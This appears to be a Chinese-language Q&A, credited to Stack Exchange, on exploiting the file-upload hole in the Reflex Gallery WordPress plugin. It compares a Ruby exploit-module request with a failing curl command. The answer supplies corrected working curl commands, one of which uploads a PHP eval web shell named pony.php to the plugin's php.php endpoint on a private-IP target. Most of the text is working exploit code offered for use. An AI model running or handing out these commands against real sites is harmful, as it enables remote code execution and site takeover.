Reflex Gallery漏洞利用中Ruby与curl上传请求差异问题咨询
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name="qqfile"; filename="#{php_pagename}"")
...
res = send_request_cgi({
'uri' => normalize_uri(wordpress_url_plugins, 'reflex-gallery', 'admin', 'scripts', 'FileUploader', 'php.php'),
'method' => 'POST',
'vars_get' => {
'Year' => "#{year}",
'Month' => "#{month}"
},
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})
原有curl命令: ```bash curl -F "type=application/octet-stream" -F "name=\"qqfile\"" -F "filename=\"pony.php\"" \ 'http://192.168.81.23/wordpress/wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php?Year=2021&Month=08'
补充说明:
我的目标是向php.php发送POST请求完成文件上传,使用Ruby请求可以成功上传文件,但执行curl请求时返回:No file uploaded
我推测该问题是两类请求存在差异导致的。
Ruby请求向同一服务器发起POST请求时,携带了相同的name、filename、year、month参数,但得到了不同的响应结果,我目前正在尝试定位背后的原因。
根据curl的输出提示,POST方法是默认隐含的,因此我省略了显式指定POST的参数。
我接下来会尝试手动指定ctype并提交数据,我此前误以为-F参数就能发送所需的全部数据,现在发现该认知有误。
回答
两类请求的核心差异有两点:
- 缺失实际文件内容
你写的curl命令只提交了type、name、filename三个普通文本表单字段,完全没有传递要上传的PHP文件的实际内容,这是返回No file uploaded的最主要原因。Ruby代码中data.add_part的第一个参数就是实际要上传的文件内容,你之前的curl请求完全缺失了这部分。 - 表单字段属性配置错误
你把文件字段的name、Content-Type、filename属性拆成了单独的表单字段发送,而正确的用法是把这些属性绑定到qqfile这个文件字段上。Ruby代码里明确指定了表单字段的name是qqfile,所有属性都属于这个字段,不是独立的表单参数。
正确的curl请求写法
把本地的pony.php作为qqfile字段上传,绑定对应的属性即可:
curl -F "qqfile=@pony.php;type=application/octet-stream;filename=pony.php" \ 'http://192.168.81.23/wordpress/wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php?Year=2021&Month=08'
如果不想预先把payload存成本地文件,可以用进程注入的方式直接传递内容:
curl -F "qqfile=<(echo '<?php eval(\$_POST[cmd]);?>');type=application/octet-stream;filename=pony.php" \ 'http://192.168.81.23/wordpress/wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php?Year=2021&Month=08'
使用-F参数时curl会自动生成正确的multipart/form-data请求头和边界值,不需要手动指定Content-Type,和你Ruby代码中ctype配置的效果完全一致,也不需要显式加-X POST参数,curl遇到-F时会默认使用POST方法。
内容的提问来源于stack exchange,提问作者Will

